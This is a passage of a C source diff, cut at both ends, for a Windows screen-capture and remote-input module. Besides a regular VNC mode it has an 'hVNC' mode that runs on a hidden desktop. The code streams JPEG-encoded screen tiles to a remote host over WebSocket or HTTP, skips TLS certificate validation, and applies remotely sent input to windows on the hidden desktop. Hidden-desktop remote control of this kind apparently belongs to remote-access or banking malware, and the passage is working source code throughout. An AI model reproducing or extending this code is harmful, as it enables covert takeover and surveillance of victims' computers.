WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, &status_code, &status_size, + WINHTTP_NO_HEADER_INDEX); + + if (status_code == 410) { + WinHttpCloseHandle(request); + return 1; /* stop signal */ + } + + if (status_code == 401) { + VNC_LOG("[POST] Server returned HTTP 401 — session token invalid, stopping\n"); + WinHttpCloseHandle(request); + return 1; /* treat as stop signal — session was replaced or expired */ + } + + if (status_code != 200) { + VNC_LOG("[POST] Server returned HTTP %lu\n", (unsigned long)status_code); + WinHttpCloseHandle(request); + return -1; + } + + /* Read response body */ + size_t total_read = 0; + size_t buf_cap = 4096; + uint8_t *buf = (uint8_t *)malloc(buf_cap); + if (!buf) { WinHttpCloseHandle(request); return -1; } + + DWORD bytes_available, bytes_read; + while (WinHttpQueryDataAvailable(request, &bytes_available) && bytes_available > 0) { + if (total_read + bytes_available > buf_cap) { + buf_cap = (total_read + bytes_available) * 2; + uint8_t *new_buf = (uint8_t *)realloc(buf, buf_cap); + if (!new_buf) { free(buf); WinHttpCloseHandle(request); return -1; } + buf = new_buf; + } + if (!WinHttpReadData(request, buf + total_read, bytes_available, &bytes_read)) { + free(buf); + WinHttpCloseHandle(request); + return -1; + } + total_read += bytes_read; + } + + WinHttpCloseHandle(request); + *response = buf; + *response_len = total_read; + return 0; +} + +/* ── WebSocket transport ──────────────────────────────────────────── */ + +/* Attempt WebSocket upgrade via WinHTTP. + * Returns TRUE on success (vnc->ws_handle is valid), FALSE on failure. */ +static BOOL vnc_ws_connect(vnc_state_t *vnc) { + wchar_t ws_path[512]; + wchar_t token_w[256]; + to_wide(vnc->token, token_w, 256); + _snwprintf(ws_path, 512, L"/api/vnc/ws?token=%ls", token_w); + ws_path[511] = L'\0'; + + DWORD flags = vnc->use_tls ? WINHTTP_FLAG_SECURE : 0; + HINTERNET request = WinHttpOpenRequest(vnc->connect, L"GET", ws_path, + NULL, WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, flags); + if (!request) { + VNC_LOG("[WS] WinHttpOpenRequest failed: %lu\n", GetLastError()); + return FALSE; + } + + if (vnc->use_tls) { + DWORD sec_flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID; + WinHttpSetOption(request, WINHTTP_OPTION_SECURITY_FLAGS, + &sec_flags, sizeof(sec_flags)); + } + + /* Set WebSocket upgrade option */ + BOOL ws_opt = TRUE; + if (!WinHttpSetOption(request, WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET, NULL, 0)) { + VNC_LOG("[WS] WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET failed: %lu\n", GetLastError()); + WinHttpCloseHandle(request); + return FALSE; + } + + /* Send the upgrade request */ + if (!WinHttpSendRequest(request, WINHTTP_NO_ADDITIONAL_HEADERS, 0, + WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) { + VNC_LOG("[WS] WinHttpSendRequest failed: %lu\n", GetLastError()); + WinHttpCloseHandle(request); + return FALSE; + } + + if (!WinHttpReceiveResponse(request, NULL)) { + VNC_LOG("[WS] WinHttpReceiveResponse failed: %lu\n", GetLastError()); + WinHttpCloseHandle(request); + return FALSE; + } + + /* Check status is 101 Switching Protocols */ + DWORD status_code = 0; + DWORD status_size = sizeof(status_code); + WinHttpQueryHeaders(request, + WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, &status_code, &status_size, + WINHTTP_NO_HEADER_INDEX); + + if (status_code != 101) { + VNC_LOG("[WS] Upgrade failed, HTTP %lu (expected 101)\n", (unsigned long)status_code); + WinHttpCloseHandle(request); + return FALSE; + } + + /* Complete the WebSocket upgrade */ + vnc->ws_handle = WinHttpWebSocketCompleteUpgrade(request, 0); + WinHttpCloseHandle(request); /* request handle no longer needed */ + + if (!vnc->ws_handle) { + VNC_LOG("[WS] WinHttpWebSocketCompleteUpgrade failed: %lu\n", GetLastError()); + return FALSE; + } + + VNC_LOG("[WS] WebSocket connected successfully\n"); + InterlockedExchange(&vnc->ws_connected, 1); + return TRUE; +} + +/* Send a frame via WebSocket: [8:frame_num LE][tiled_payload] + Uses a persistent grow-only send buffer to avoid malloc/free per frame. */ +static int vnc_ws_send_frame(vnc_state_t *vnc, const jpeg_buffer_t *frame_jpeg) { + if (!vnc->ws_handle || !InterlockedCompareExchange(&vnc->ws_connected, 1, 1)) + return -1; + + size_t msg_len = 8 + frame_jpeg->len; + + /* Grow persistent send buffer if needed (never shrinks) */ + if (msg_len > vnc->ws_send_cap) { + size_t new_cap = msg_len * 2; + uint8_t *nb = (uint8_t *)realloc(vnc->ws_send_buf, new_cap); + if (!nb) return -1; + vnc->ws_send_buf = nb; + vnc->ws_send_cap = new_cap; + } + + uint8_t *msg = vnc->ws_send_buf; + + /* frame_number (u64 LE) */ + uint64_t fn_val = vnc->frame_number++; + msg[0] = (uint8_t)(fn_val); + msg[1] = (uint8_t)(fn_val >> 8); + msg[2] = (uint8_t)(fn_val >> 16); + msg[3] = (uint8_t)(fn_val >> 24); + msg[4] = (uint8_t)(fn_val >> 32); + msg[5] = (uint8_t)(fn_val >> 40); + msg[6] = (uint8_t)(fn_val >> 48); + msg[7] = (uint8_t)(fn_val >> 56); + + /* tiled payload */ + memcpy(msg + 8, frame_jpeg->data, frame_jpeg->len); + + DWORD err = WinHttpWebSocketSend(vnc->ws_handle, + WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE, + msg, (DWORD)msg_len); + + if (err != ERROR_SUCCESS) { + VNC_LOG("[WS] WinHttpWebSocketSend failed: %lu\n", err); + InterlockedExchange(&vnc->ws_connected, 0); + return -1; + } + return 0; +} + +/* WebSocket receive thread — receives input events from server. + * Runs in background, signals ws_input_evt when data arrives. */ +static DWORD WINAPI vnc_ws_recv_thread(LPVOID param) { + vnc_state_t *vnc = (vnc_state_t *)param; + uint8_t buf[4096]; + + VNC_LOG("[WS-recv] Receive thread started\n"); + + while (InterlockedCompareExchange(&vnc->ws_connected, 1, 1) && + InterlockedCompareExchange(&vnc->running, 1, 1)) { + DWORD bytes_read = 0; + WINHTTP_WEB_SOCKET_BUFFER_TYPE buf_type; + + DWORD err = WinHttpWebSocketReceive(vnc->ws_handle, + buf, sizeof(buf), &bytes_read, &buf_type); + + if (err != ERROR_SUCCESS) { + if (InterlockedCompareExchange(&vnc->running, 1, 1)) { + VNC_LOG("[WS-recv] Receive failed: %lu\n", err); + } + InterlockedExchange(&vnc->ws_connected, 0); + break; + } + + if (buf_type == WINHTTP_WEB_SOCKET_CLOSE_BUFFER_TYPE) { + VNC_LOG("[WS-recv] Server closed WebSocket\n"); + InterlockedExchange(&vnc->ws_connected, 0); + break; + } + + if (bytes_read > 0 && buf_type == WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE) { + EnterCriticalSection(&vnc->ws_input_lock); + free(vnc->ws_input_data); + vnc->ws_input_data = (uint8_t *)malloc(bytes_read); + if (vnc->ws_input_data) { + memcpy(vnc->ws_input_data, buf, bytes_read); + vnc->ws_input_len = bytes_read; + } else { + vnc->ws_input_len = 0; + } + LeaveCriticalSection(&vnc->ws_input_lock); + SetEvent(vnc->ws_input_evt); + } + } + + VNC_LOG("[WS-recv] Receive thread exiting\n"); + return 0; +} + +/* Close WebSocket and clean up recv thread */ +static void vnc_ws_close(vnc_state_t *vnc) { + InterlockedExchange(&vnc->ws_connected, 0); + + if (vnc->ws_handle) { + WinHttpWebSocketClose(vnc->ws_handle, + WINHTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS, NULL, 0); + } + + if (vnc->ws_recv_thread) { + WaitForSingleObject(vnc->ws_recv_thread, 2000); + CloseHandle(vnc->ws_recv_thread); + vnc->ws_recv_thread = NULL; + } + + if (vnc->ws_handle) { + WinHttpCloseHandle(vnc->ws_handle); + vnc->ws_handle = NULL; + } +} + +/* Attempt a single WebSocket reconnection */ +static BOOL vnc_ws_reconnect(vnc_state_t *vnc) { + VNC_LOG("[WS] Attempting reconnection...\n"); + vnc_ws_close(vnc); + Sleep(500); + + if (!vnc_ws_connect(vnc)) + return FALSE; + + /* Start new receive thread */ + vnc->ws_recv_thread = CreateThread(NULL, 0, vnc_ws_recv_thread, vnc, 0, NULL); + if (!vnc->ws_recv_thread) { + vnc_ws_close(vnc); + return FALSE; + } + VNC_LOG("[WS] Reconnected successfully\n"); + return TRUE; +} + +/* ── DXGI-accelerated raw pixel capture ──────────────────────────── */ + +/* Captures using DXGI Desktop Duplication. Falls back to GDI if DXGI + * isn't available or returns an error. + * Returns 0 = success, 1 = no change (skip), -1 = DXGI failed (use GDI). */ +static int g_dxgi_reinit_tried = 0; + +static int capture_raw_pixels_dxgi(vnc_state_t *vnc, tile_grid_t *grid) { + if (!g_dxgi_ctx) return -1; + + const uint8_t *bgra_data = NULL; + int pitch = 0, width = 0, height = 0; + RECT *dirty = NULL; + int num_dirty = 0; + + /* Zero-copy path: get mapped BGRA pointer directly from GPU staging texture */ + int rc = dxgi_capture_mapped(g_dxgi_ctx, &bgra_data, &pitch, + &width, &height, &dirty, &num_dirty); + + if (rc == 1) { + /* No change (timeout) — no frame acquired, skip */ + return 1; + } + + if (rc != 0) { + /* DXGI error — try reinit once per session, then give up */ + if (!g_dxgi_reinit_tried) { + VNC_LOG("[DXGI] Capture failed, attempting reinit...\n"); + dxgi_cleanup(g_dxgi_ctx); + g_dxgi_ctx = dxgi_init(); + g_dxgi_reinit_tried = 1; + if (g_dxgi_ctx) return -1; /* will retry next frame */ + } + VNC_LOG("[DXGI] Permanent fallback to GDI\n"); + g_dxgi_ctx = NULL; + return -1; + } + + /* Store BGRA pointer for direct tile access (no full-frame copy) */ + grid->bgra_ptr = bgra_data; + grid->bgra_pitch = pitch; + + /* Resolution change detection */ + if (grid->width != width || grid->height != height) { + memset(grid->prev, 0, sizeof(grid->prev)); + VNC_LOG("[DXGI-tile] Resolution changed %dx%d -> %dx%d\n", + grid->width, grid->height, width, height); + } + + grid->width = width; + grid->height = height; + grid->stride = width * 3; /* RGB stride for encode_frame_tiled compatibility */ + int ts = grid->tile_size > 0 ? grid->tile_size : TILE_SIZE; + grid->cols = (width + ts - 1) / ts; + grid->rows = (height + ts - 1) / ts; + if (grid->cols > MAX_TILE_COLS) grid->cols = MAX_TILE_COLS; + if (grid->rows > MAX_TILE_ROWS) grid->rows = MAX_TILE_ROWS; + + if (!grid->tile_tmp) { + grid->tile_tmp = (uint8_t *)malloc(ts * ts * 3); + if (!grid->tile_tmp) { + dxgi_release_frame(g_dxgi_ctx); + grid->bgra_ptr = NULL; + return -1; + } + } + + /* Build DXGI dirty tile mask — encode_frame_tiled will skip CRC32 + * for tiles not in this mask, saving ~90% of hashing work. */ + memset(grid->dxgi_dirty, 0, sizeof(grid->dxgi_dirty)); + grid->use_dxgi_dirty = 1; + + if (dirty && num_dirty > 0) { + for (int d = 0; d < num_dirty; d++) { + int tc_start = dirty[d].left / ts; + int tc_end = (dirty[d].right + ts - 1) / ts; + int tr_start = dirty[d].top / ts; + int tr_end = (dirty[d].bottom + ts - 1) / ts; + if (tc_end > grid->cols) tc_end = grid->cols; + if (tr_end > grid->rows) tr_end = grid->rows; + for (int tr = tr_start; tr < tr_end; tr++) { + for (int tc = tc_start; tc < tc_end; tc++) { + grid->dxgi_dirty[tr * grid->cols + tc] = 1; + } + } + } + } else { + /* No dirty info — mark all tiles dirty (fallback) */ + memset(grid->dxgi_dirty, 1, sizeof(grid->dxgi_dirty)); + } + + return 0; +} + +/* ── Adaptive tile sizing (VNC only, not hVNC) ───────────────────── + * Tracks average dirty % over last 8 frames: + * avg > 40% → upscale tiles to 256px (better compression during motion) + * avg < 20% → downscale tiles to 128px (finer dirty detection when still) + * On size change: invalidate all CRC32 hashes, recalculate grid dims, + * reallocate tile_tmp buffer. */ +static void adaptive_tile_resize(tile_grid_t *grid) { + if (grid->dirty_history_count < 4) return; /* need some history first */ + + /* Compute average dirty % over the history window */ + int sum = 0; + int n = grid->dirty_history_count; + for (int i = 0; i < n; i++) + sum += grid->dirty_history[i]; + int avg = sum / n; + + int new_ts = grid->tile_size; + if (avg > 40 && grid->tile_size < 256) + new_ts = 256; + else if (avg < 20 && grid->tile_size > 128) + new_ts = 128; + + if (new_ts == grid->tile_size) return; + + /* Resize: invalidate CRC32 hashes, recalc grid, realloc tile buffer */ + VNC_LOG("[adaptive-tile] Resizing tiles %d -> %d (avg_dirty=%d%%)\n", + grid->tile_size, new_ts, avg); + grid->tile_size = new_ts; + memset(grid->prev, 0, sizeof(grid->prev)); + memset(grid->current, 0, sizeof(grid->current)); + grid->cols = (grid->width + new_ts - 1) / new_ts; + grid->rows = (grid->height + new_ts - 1) / new_ts; + if (grid->cols > MAX_TILE_COLS) grid->cols = MAX_TILE_COLS; + if (grid->rows > MAX_TILE_ROWS) grid->rows = MAX_TILE_ROWS; + + /* Realloc tile_tmp for new tile size */ + free(grid->tile_tmp); + grid->tile_tmp = (uint8_t *)malloc(new_ts * new_ts * 3); + + /* Reset dirty history after resize to prevent oscillation */ + grid->dirty_history_count = 0; + grid->dirty_history_idx = 0; +} + +/* ── Capture thread for double-buffer pipeline ────────────────────── */ + +static DWORD WINAPI vnc_capture_thread(LPVOID param) { + /* param layout: [vnc_state_t*, tile_grid_t*, vnc_pipeline_t*] */ + void **args = (void **)param; + vnc_state_t *vnc = (vnc_state_t *)args[0]; + tile_grid_t *grid = (tile_grid_t *)args[1]; + vnc_pipeline_t *pipe = (vnc_pipeline_t *)args[2]; + free(args); + + jpeg_buffer_t local_jpeg = {0}; + DWORD idle_backoff = 20; /* progressive idle sleep: 20→40→80→100ms cap */ + + VNC_LOG("[capture-thread] Capture thread started\n"); + + while (InterlockedCompareExchange(&pipe->alive, 1, 1) && + InterlockedCompareExchange(&vnc->running, 1, 1)) { + /* Wait for network thread to finish sending the previous frame */ + DWORD wait = WaitForSingleObject(pipe->frame_sent_evt, 500); + if (!InterlockedCompareExchange(&pipe->alive, 1, 1)) break; + if (wait == WAIT_TIMEOUT) continue; + + /* Capture raw pixels — try DXGI first, fall back to GDI */ + int cap_rc = capture_raw_pixels_dxgi(vnc, grid); + if (cap_rc == 1) { + /* No change (DXGI timeout) — signal sent so we can try again */ + SetEvent(pipe->frame_sent_evt); + Sleep(5); + continue; + } + if (cap_rc != 0) { + /* DXGI failed — fall back to GDI (clear BGRA mode) */ + grid->bgra_ptr = NULL; + if (capture_raw_pixels(vnc, grid) != 0) { + SetEvent(pipe->frame_sent_evt); + Sleep(50); + continue; + } + } + + /* Encode (DXGI dirty rects already marked tiles via prev hash mismatch) */ + int dirty = encode_frame_tiled(grid, vnc->quality, &local_jpeg); + + /* Release DXGI mapped frame now that encoding is done */ + if (grid->bgra_ptr) { + dxgi_release_frame(g_dxgi_ctx); + grid->bgra_ptr = NULL; + } + + /* Adaptive tile sizing: adjust 128↔256 based on motion history */ + if (!vnc->is_hvnc) + adaptive_tile_resize(grid); + + if (dirty < 0) { + SetEvent(pipe->frame_sent_evt); + Sleep(50); + continue; + } + + /* Idle frame skip: 0 dirty tiles + no input for 200ms → skip & backoff */ + if (dirty == 0 && (GetTickCount() - vnc->last_input_tick) > 200) { + SetEvent(pipe->frame_sent_evt); + Sleep(idle_backoff); + /* Progressive backoff: 20→40→80→100ms cap */ + if (idle_backoff < 100) { + idle_backoff *= 2; + if (idle_backoff > 100) idle_backoff = 100; + } + continue; + } + idle_backoff = 20; /* Reset on dirty frame */ + + /* Swap into pipeline buffer */ + EnterCriticalSection(&pipe->lock); + /* Swap pointers (zero-copy) */ + uint8_t *tmp_data = pipe->frame_buf.data; + size_t tmp_cap = pipe->frame_buf.cap; + size_t tmp_len = pipe->frame_buf.len; + pipe->frame_buf.data = local_jpeg.data; + pipe->frame_buf.cap = local_jpeg.cap; + pipe->frame_buf.len = local_jpeg.len; + pipe->width = grid->width; + pipe->height = grid->height; + local_jpeg.data = tmp_data; + local_jpeg.cap = tmp_cap; + local_jpeg.len = tmp_len; + LeaveCriticalSection(&pipe->lock); + + SetEvent(pipe->frame_ready_evt); + } + + free(local_jpeg.data); + VNC_LOG("[capture-thread] Capture thread exiting\n"); + return 0; +} + +/* ── hVNC capture thread (runs on hidden desktop) ─────────────────── */ + +/* Continuous pipeline capture thread: switches to the hidden desktop once, + then runs a continuous capture→encode→swap loop. The main VNC thread + (on the default desktop) grabs completed frames from the pipeline buffer. + Input is processed every iteration (~60Hz via 16ms wait). */ +static DWORD WINAPI hvnc_capture_thread(LPVOID param) { + hvnc_capture_ctx_t *ctx = (hvnc_capture_ctx_t *)param; + + /* Make this thread Per-Monitor DPI-aware */ + { + typedef void* DPI_AWARENESS_CONTEXT_T; + typedef DPI_AWARENESS_CONTEXT_T (WINAPI *SetThreadDpiAwarenessContext_t)(DPI_AWARENESS_CONTEXT_T); + HMODULE user32 = GetModuleHandleA("user32.dll"); + if (user32) { + SetThreadDpiAwarenessContext_t fn = (SetThreadDpiAwarenessContext_t) + GetProcAddress(user32, "SetThreadDpiAwarenessContext"); + if (fn) { + DPI_AWARENESS_CONTEXT_T ctx_dpi = fn((DPI_AWARENESS_CONTEXT_T)(intptr_t)-4); + VNC_LOG("[hVNC-cap] SetThreadDpiAwarenessContext -> %p\n", ctx_dpi); + } + } + } + + if (!SetThreadDesktop(ctx->desktop)) { + VNC_LOG("[hVNC-cap] SetThreadDesktop failed: %lu\n", GetLastError()); + InterlockedExchange(&ctx->alive, 0); + SetEvent(ctx->frame_ready_evt); /* unblock main thread */ + return 1; + } + VNC_LOG("[hVNC-cap] Capture thread bound to hidden desktop\n"); + + VNC_LOG("[hVNC-cap] SM_CXSCREEN=%d SM_CYSCREEN=%d\n", + GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN)); + + DWORD last_maximize_tick = 0; + int taskbar_fixed = 0; + DWORD hvnc_idle_backoff = 20; /* progressive idle sleep: 20→40→80→100ms cap */ + + while (InterlockedCompareExchange(&ctx->alive, 1, 1)) { + /* Wait 16ms for main thread to finish sending — gives ~60Hz input + processing rate regardless of frame capture cadence */ + DWORD wait = WaitForSingleObject(ctx->frame_sent_evt, 16); + if (!InterlockedCompareExchange(&ctx->alive, 1, 1)) break; + + /* ── Always process queued input events ───────────────────── */ + /* Check both the main-thread relay AND the WS recv thread directly. + This eliminates the 1-frame delay where input waited for the main + thread to finish sending before being relayed to us. */ + int had_input = 0; + + /* Path 1: Input already transferred by main thread */ + EnterCriticalSection(&ctx->input_lock); + if (ctx->input_data && ctx->input_len > 0) { + hvnc_process_input_events(ctx->vnc, &ctx->grid, ctx->input_data, ctx->input_len); + free(ctx->input_data); + ctx->input_data = NULL; + ctx->input_len = 0; + had_input = 1; + } + LeaveCriticalSection(&ctx->input_lock); + + /* Path 2: Grab directly from WS recv thread (skip main thread relay) */ + if (ctx->vnc->use_websocket && + WaitForSingleObject(ctx->vnc->ws_input_evt, 0) == WAIT_OBJECT_0) { + EnterCriticalSection(&ctx->vnc->ws_input_lock); + if (ctx->vnc->ws_input_data && ctx->vnc->ws_input_len > 0) { + hvnc_process_input_events(ctx->vnc, &ctx->grid, + ctx->vnc->ws_input_data, ctx->vnc->ws_input_len); + free(ctx->vnc->ws_input_data); + ctx->vnc->ws_input_data = NULL; + ctx->vnc->ws_input_len = 0; + had_input = 1; + } + LeaveCriticalSection(&ctx->vnc->ws_input_lock); + } + + if (had_input) { + /* Reset cursor to arrow after all input to suppress + "app starting" spinning circles on hidden desktop */ + hvnc_reset_cursor(); + } + + /* ── Periodic maintenance: maximize sweep + taskbar fix ──── */ + { + DWORD now = GetTickCount(); + if (now - last_maximize_tick > 3000) { + last_maximize_tick = now; + + /* Fix taskbar position to bottom — retry until it sticks. + Windows 11 XAML taskbar often resets position. */ + if (!taskbar_fixed) { + int sw = GetSystemMetrics(SM_CXSCREEN); + int sh = GetSystemMetrics(SM_CYSCREEN); + if (sw > 0 && sh > 0) { + if (hvnc_fix_taskbar_position(sw, sh)) { + taskbar_fixed = 1; + } + /* Keep retrying — don't set taskbar_fixed until it works */ + } + } + + HWND hw = GetTopWindow(NULL); + while (hw) { + if (IsWindowVisible(hw) && !IsZoomed(hw)) { + RECT wr; + GetWindowRect(hw, &wr); + int ww = wr.right - wr.left; + int wh = wr.bottom - wr.top; + if (ww > 200 && wh > 200) { + char cls[128] = {0}; + GetClassNameA(hw, cls, sizeof(cls)); + if (strcmp(cls, "Progman") != 0 && + strcmp(cls, "Shell_TrayWnd") != 0 && + strcmp(cls, "UAC Input Indicator") != 0 && + strcmp(cls, "UAC_InputIndicatorOverlayWnd") != 0) { + ShowWindow(hw, SW_SHOWMAXIMIZED); + } + } + } + hw = GetWindow(hw, GW_HWNDNEXT); + } + } + } + + /* If main thread hasn't finished sending, just process input */ + if (wait != WAIT_OBJECT_0) continue; + + /* ── Capture + encode ─────────────────────────────────────── */ + DWORD cap_start = GetTickCount(); + + ctx->result = capture_raw_pixels(ctx->vnc, &ctx->grid); + if (ctx->result != 0) { + SetEvent(ctx->frame_sent_evt); /* allow next iteration */ + Sleep(5); + continue; + } + + int dirty = encode_frame_tiled(&ctx->grid, ctx->vnc->quality, &ctx->jpeg); + if (dirty < 0) { + SetEvent(ctx->frame_sent_evt); + Sleep(5); + continue; + } + + /* Skip when idle: 0 dirty tiles + no input for 200ms → backoff */ + if (dirty == 0 && (GetTickCount() - ctx->vnc->last_input_tick) > 200) { + SetEvent(ctx->frame_sent_evt); + Sleep(hvnc_idle_backoff); + /* Progressive backoff: 20→40→80→100ms cap */ + if (hvnc_idle_backoff < 100) { + hvnc_idle_backoff *= 2; + if (hvnc_idle_backoff > 100) hvnc_idle_backoff = 100; + } + continue; + } + hvnc_idle_backoff = 20; /* Reset on dirty frame */ + + /* FPS limiting in capture thread — avoids capturing frames that + will be dropped, saving CPU compared to limiting in send thread */ + { + int eff_fps = ctx->vnc->target_fps > 0 ? ctx->vnc->target_fps : 20; + DWORD cap_elapsed = GetTickCount() - cap_start; + DWORD cap_target = 1000 / (DWORD)eff_fps; + if (cap_elapsed < cap_target) + Sleep(cap_target - cap_elapsed); + } + + /* ── Swap into pipeline buffer ────────────────────────────── */ + EnterCriticalSection(&ctx->pipe_lock); + /* Zero-copy swap */ + uint8_t *tmp_data = ctx->pipe_buf.data; + size_t tmp_cap = ctx->pipe_buf.cap; + ctx->pipe_buf.data = ctx->jpeg.data; + ctx->pipe_buf.cap = ctx->jpeg.cap; + ctx->pipe_buf.len = ctx->jpeg.len; + ctx->pipe_width = ctx->grid.width; + ctx->pipe_height = ctx->grid.height; + ctx->jpeg.data = tmp_data; + ctx->jpeg.cap = tmp_cap; + ctx->jpeg.len = 0; + LeaveCriticalSection(&ctx->pipe_lock); + + SetEvent(ctx->frame_ready_evt); + } + + if (ctx->jpeg.data) { free(ctx->jpeg.data); ctx->jpeg.data = NULL; } + if (ctx->pipe_buf.data) { free(ctx->pipe_buf.data); ctx->pipe_buf.data = NULL; } + tile_grid_free(&ctx->grid); + VNC_LOG("[hVNC-cap] Capture thread exiting\n"); + return 0; +} + +/* ── VNC thread ───────────────────────────────────────────────────── */ + +static DWORD WINAPI vnc_thread_proc(LPVOID param) { + vnc_state_t *vnc = (vnc_state_t *)param; + jpeg_buffer_t jpeg = {0}; + tile_grid_t tile_grid; + tile_grid_init(&tile_grid); + tile_grid.tile_size = TILE_SIZE; /* 128px for regular VNC */ + + VNC_LOG("[%s] Thread started (token=%.8s..., fps=%d, quality=%d)\n", + vnc->is_hvnc ? "hVNC" : "VNC", + vnc->token, vnc->target_fps, vnc->quality); + + /* hVNC: launch a SEPARATE capture thread on the hidden desktop. */ + hvnc_capture_ctx_t cap_ctx; + HANDLE cap_thread = NULL; + memset(&cap_ctx, 0, sizeof(cap_ctx)); + cap_ctx.grid.tile_size = HVNC_TILE_SIZE; /* 64px for hVNC */ + cap_ctx.grid.tj_compressor = tjInitCompress(); + + /* Pipeline for regular VNC (double-buffer) */ + vnc_pipeline_t pipeline; + HANDLE pipeline_thread = NULL; + memset(&pipeline, 0, sizeof(pipeline)); + + if (vnc->is_hvnc && vnc->hidden_desktop) { + cap_ctx.desktop = vnc->hidden_desktop; + cap_ctx.vnc = vnc; + cap_ctx.frame_ready_evt = CreateEvent(NULL, FALSE, FALSE, NULL); + cap_ctx.frame_sent_evt = CreateEvent(NULL, FALSE, TRUE, NULL); /* initially signaled */ + InitializeCriticalSection(&cap_ctx.pipe_lock); + InitializeCriticalSection(&cap_ctx.input_lock); + if (!cap_ctx.frame_ready_evt || !cap_ctx.frame_sent_evt) { + VNC_LOG("[hVNC] Failed to create pipeline events\n"); + if (cap_ctx.frame_ready_evt) CloseHandle(cap_ctx.frame_ready_evt); + if (cap_ctx.frame_sent_evt) CloseHandle(cap_ctx.frame_sent_evt); + DeleteCriticalSection(&cap_ctx.pipe_lock); + DeleteCriticalSection(&cap_ctx.input_lock); + InterlockedExchange(&vnc->running, 0); + return 1; + } + InterlockedExchange(&cap_ctx.alive, 1); + cap_thread = CreateThread(NULL, 0, hvnc_capture_thread, &cap_ctx, 0, NULL); + if (!cap_thread) { + VNC_LOG("[hVNC] Failed to create capture thread: %lu\n", GetLastError()); + CloseHandle(cap_ctx.frame_ready_evt); + CloseHandle(cap_ctx.frame_sent_evt); + DeleteCriticalSection(&cap_ctx.pipe_lock); + DeleteCriticalSection(&cap_ctx.input_lock); + InterlockedExchange(&vnc->running, 0); + return 1; + } + VNC_LOG("[hVNC] Pipeline capture thread started, main thread stays on default desktop\n"); + } + + /* Init own WinHTTP session (on the default desktop — always works) */ + wchar_t ua_wide[256]; + to_wide(vnc->user_agent, ua_wide, 256); + + vnc->session = WinHttpOpen(ua_wide, + WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, 0); + if (!vnc->session) { + VNC_LOG("[VNC] WinHttpOpen failed: %lu\n", GetLastError()); + goto thread_exit; + } + + vnc->connect = WinHttpConnect(vnc->session, vnc->host, vnc->port, 0); + if (!vnc->connect) { + VNC_LOG("[VNC] WinHttpConnect failed: %lu\n", GetLastError()); + WinHttpCloseHandle(vnc->session); + vnc->session = NULL; + goto thread_exit; + } + + /* Attempt WebSocket connection */ + vnc->use_websocket = FALSE; + InitializeCriticalSection(&vnc->ws_input_lock); + vnc->ws_input_evt = CreateEvent(NULL, FALSE, FALSE, NULL); + + if (vnc_ws_connect(vnc)) { + vnc->use_websocket = TRUE; + /* Start WebSocket receive thread */ + vnc->ws_recv_thread = CreateThread(NULL, 0, vnc_ws_recv_thread, vnc, 0, NULL); + if (!vnc->ws_recv_thread) { + VNC_LOG("[WS] Failed to create recv thread, falling back to HTTP\n"); + vnc_ws_close(vnc); + vnc->use_websocket = FALSE; + } else { + VNC_LOG("[VNC] Using WebSocket transport\n"); + } + } else { + VNC_LOG("[VNC] WebSocket upgrade failed, using HTTP POST fallback\n"); + } + + /* Start pipeline capture thread for regular VNC */ + if (!vnc->is_hvnc) { + InitializeCriticalSection(&pipeline.lock); + pipeline.frame_ready_evt = CreateEvent(NULL, FALSE, FALSE, NULL); + pipeline.frame_sent_evt = CreateEvent(NULL, FALSE, TRUE, NULL); /* initially signaled */ + InterlockedExchange(&pipeline.alive, 1); + + void **cap_args = (void **)malloc(3 * sizeof(void *)); + if (cap_args && pipeline.frame_ready_evt && pipeline.frame_sent_evt) { + cap_args[0] = vnc; + cap_args[1] = &tile_grid; + cap_args[2] = &pipeline; + pipeline_thread = CreateThread(NULL, 0, vnc_capture_thread, cap_args, 0, NULL); + if (!pipeline_thread) { + VNC_LOG("[VNC] Failed to create pipeline capture thread\n"); + free(cap_args); + InterlockedExchange(&pipeline.alive, 0); + } else { + VNC_LOG("[VNC] Pipeline capture thread started\n"); + } + } else { + free(cap_args); + } + } + + VNC_LOG("[%s] Starting capture loop -> %ls:%d (tls=%d, ws=%d)\n", + vnc->is_hvnc ? "hVNC" : "VNC", + vnc->host, (int)vnc->port, (int)vnc->use_tls, + (int)vnc->use_websocket); + + /* Main network loop */ + int consecutive_capture_fails = 0; + int consecutive_post_fails = 0; + BOOL ws_reconnect_tried = FALSE; + DWORD fallback_idle_backoff = 20; /* idle backoff for inline fallback path */ + + while (InterlockedCompareExchange(&vnc->running, 1, 1)) { + DWORD frame_start = GetTickCount(); + int width = 0, height = 0; + jpeg_buffer_t *frame_jpeg; + + /* ── Get the next frame ─────────────────────────────────────── */ + if (cap_thread) { + /* hVNC pipeline: wait for capture thread to produce a frame */ + if (!InterlockedCompareExchange(&cap_ctx.alive, 1, 1)) { + VNC_LOG("[hVNC] Capture thread died, stopping\n"); + break; + } + DWORD wait = WaitForSingleObject(cap_ctx.frame_ready_evt, 500); + if (!InterlockedCompareExchange(&vnc->running, 1, 1)) break; + if (wait == WAIT_TIMEOUT) continue; + + /* Grab frame from pipeline buffer */ + EnterCriticalSection(&cap_ctx.pipe_lock); + if (cap_ctx.pipe_buf.len == 0) { + LeaveCriticalSection(&cap_ctx.pipe_lock); + SetEvent(cap_ctx.frame_sent_evt); + continue; + } + /* Swap into local jpeg */ + uint8_t *tmp_data = jpeg.data; + size_t tmp_cap = jpeg.cap; + jpeg.data = cap_ctx.pipe_buf.data; + jpeg.cap = cap_ctx.pipe_buf.cap; + jpeg.len = cap_ctx.pipe_buf.len; + cap_ctx.pipe_buf.data = tmp_data; + cap_ctx.pipe_buf.cap = tmp_cap; + cap_ctx.pipe_buf.len = 0; + width = cap_ctx.pipe_width; + height = cap_ctx.pipe_height; + 